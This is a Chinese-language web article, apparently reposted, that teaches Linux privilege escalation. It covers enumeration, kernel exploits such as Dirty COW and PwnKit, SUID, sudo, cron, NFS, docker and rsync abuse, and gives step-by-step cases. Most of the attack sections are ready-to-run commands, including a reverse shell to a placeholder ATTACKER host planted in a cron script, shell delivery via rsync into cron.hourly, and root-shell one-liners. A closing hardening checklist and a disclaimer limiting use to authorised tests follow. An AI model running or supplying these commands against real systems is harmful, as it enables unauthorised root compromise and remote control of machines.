Linux exploit利用技巧与实战案例
导读:Linux Exploit 利用技巧与实战案例 一、提权总览与信息收集 目标:从低权限 Shell 稳定过渡到 root,优先寻找“低成本、高成功率”的路径(配置错误 > 本地内核漏洞)。 快速信息收集清单(示例命令): 系统与内...
Linux Exploit 利用技巧与实战案例
一、提权总览与信息收集
- 目标:从低权限 Shell 稳定过渡到 root,优先寻找“低成本、高成功率”的路径(配置错误 > 本地内核漏洞)。
- 快速信息收集清单(示例命令):
- 系统与内核:
uname -a、cat /etc/os-release、cat /proc/version - 权限与身份:
id、sudo -l、env | grep -i path - 特权程序:
find / -perm -u=s -type f 2> /dev/null、find / -perm -g=s -type f 2> /dev/null - 计划任务:
cat /etc/crontab、ls -la /etc/cron* - 网络与挂载:
netstat -tulpn、mount | grep nfs - 日志与敏感文件:
tail /var/log/auth.log、grep -Ri password /var/www /home 2> /dev/null
- 系统与内核:
- 自动化与辅助工具:
- 枚举与提权建议:LinEnum、linuxprivchecker、linux-exploit-suggester / les.sh、LinPEAS
- 二进制滥用速查:GTFOBins
- 进程与定时观察:pspy
以上命令与工具覆盖系统识别、权限枚举、服务与任务巡检,是后续选择利用路径的基础。
二、常见提权路径与利用要点
- 内核漏洞提权
- 思路:匹配 内核版本/发行版 → 本地编译执行 EXP。
- 经典案例:Dirty COW(CVE-2016-5195),影响广泛,低权限可写只读映射实现提权;步骤:
searchsploit dirtycow→ 上传/编译 → 执行获取 root。
- SUID/GUID 滥用
- 思路:定位 root 所有且含 SUID 的程序,利用已知“滥用方式”逃逸到 root。
- 常用命令:
find / -perm -u=s -type f 2> /dev/null - 典型例子:
find . -exec /bin/sh -p \; -quit、vim.tiny -c ':py import os; os.setuid(0); os.execl("/bin/sh","sh")' - 速查:GTFOBins 列出常见二进制的提权方法。
- sudo 配置错误
- 思路:
sudo -l发现 NOPASSWD 或弱权限条目,直接提升到 root。 - 典型:
sudo /bin/bash、sudo su -;或sudo vim -c ':!/bin/sh'
- 思路:
- 计划任务 Cron
- 思路:可写脚本/目录、通配符注入、环境变量劫持等。
- 典型:
echo 'bash -i > & /dev/tcp/ATTACKER/4444 0> & 1' > > /opt/scripts/backup.sh;或tar通配符注入执行任意命令。
- NFS no_root_squash
- 思路:共享目录开启 no_root_squash,在挂载点创建 SUID shell,目标机执行即获 root。
- 步骤:挂载共享 →
cp /bin/bash /mnt/shell & & chmod u+s /mnt/shell→ 目标机执行/tmp/mount/shell -p
- Docker 组滥用
- 思路:用户在 docker 组,挂载宿主根目录并
chroot到/mnt即获 root 视角。 - 步骤:
docker run -v /:/mnt -it alpine chroot /mnt bash
- 思路:用户在 docker 组,挂载宿主根目录并
- 第三方服务与组件
- Rsync 未授权:
rsync rsync://IP:873/src列模块/拉文件;上传恶意脚本至/etc/cron.hourly等被 root 定时执行的目录,等待触发反弹 Shell。 - sudo 堆溢出(CVE-2021-3156,Baron Samedit):
sudoedit -s /报错特征;使用社区 PoC 编译执行获取 root。 - Polkit 提权(CVE-2021-4034,PwnKit):
dpkg -l policykit-1确认;编译执行 PoC 直接提权。
以上路径覆盖内核、权限位、sudo、计划任务、共享存储、容器与常见服务,是实战中最常见的提权面。
- Rsync 未授权:
三、实战案例精选
- 案例一:SUID find 滥用到 root
- 步骤:
- 枚举:
find / -perm -u=s -type f 2> /dev/null | grep find - 利用:
find /tmp -exec /bin/sh -p \; -quit - 稳定交互:
python -c 'import pty; pty.spawn("/bin/bash")'
- 枚举:
- 要点:
-p保留有效用户 ID,确保获得 root 权限 Shell。
- 步骤:
- 案例二:Cron + Rsync 未授权到 root
- 步骤:
- 探测:
rsync rsync://IP:873/src - 投递:
rsync -av shell.sh rsync://IP:873/src/etc/cron.hourly/ - 监听:
nc -lvnp 4444,等待 cron.hourly 触发
- 探测:
- 要点:确认目标 root 定时任务会执行该目录脚本,且当前可写/可覆盖。
- 步骤:
- 案例三:内核漏洞 Dirty COW 提权
- 步骤:
- 识别:
uname -a、cat /etc/os-release - 获取 EXP:
searchsploit dirtycow或 Exploit-DB - 编译:
gcc -pthread dirty.c -o dirty -lcrypt - 执行:
./dirty(部分 EXP 会创建 root 可登录账户)
- 识别:
- 要点:老旧内核/发行版成功率更高;编译环境与架构需匹配。
以上案例对应常见、稳定的提权链路,适合在授权测试中优先尝试。
- 步骤:
四、防御与加固清单
- 系统与内核
- 及时更新补丁,启用 内核实时补丁(Livepatch);最小化内核模块与自编译内核。
- 权限最小化
- 清理不必要的 SUID/SGID:
find / -perm -u=s -type f -exec chmod u-s { } \; - 严格审计 /etc/sudoers,避免 NOPASSWD: ALL 与过度授权;按需使用
sudo组而非 root 直接登录。
- 清理不必要的 SUID/SGID:
- 计划任务与服务
- 限制 /etc/cron.*、/var/spool/cron 的写权限;脚本使用绝对路径与受限权限运行;避免通配符注入与可写目录参与任务执行。
- 共享与容器
- NFS 默认禁用或启用 root_squash;隔离共享目录与敏感路径。
- 谨慎将用户加入 docker 组;必要时采用 rootless 容器或最小权限容器运行时。
- 第三方组件
- 及时升级 sudo、polkit、rsync、内核 等;对公网暴露服务最小化与加固(鉴权、访问控制、最小端口开放)。
- 监测与响应
- 集中审计 /var/log/auth.log、syslog 等;部署 文件完整性监控(FIM) 与 EDR/主机加固;对异常 SUID、可疑 Cron 脚本、异常子进程与网络连接进行告警。
以上措施能显著降低被提权面与攻击成功率,覆盖系统、权限、任务、共享、容器与组件的全链路风险。
- 集中审计 /var/log/auth.log、syslog 等;部署 文件完整性监控(FIM) 与 EDR/主机加固;对异常 SUID、可疑 Cron 脚本、异常子进程与网络连接进行告警。
合规与免责声明
- 本内容仅用于 授权渗透测试、红队演练与安全研究。对未授权系统进行测试或利用属于违法行为,可能导致 数据泄露、业务中断与法律责任。进行任何测试前请确保已获得 系统所有者明确书面授权,并在可控范围内开展。
声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!
若转载请注明出处: Linux exploit利用技巧与实战案例
本文地址: https://pptw.com/jishu/785335.html
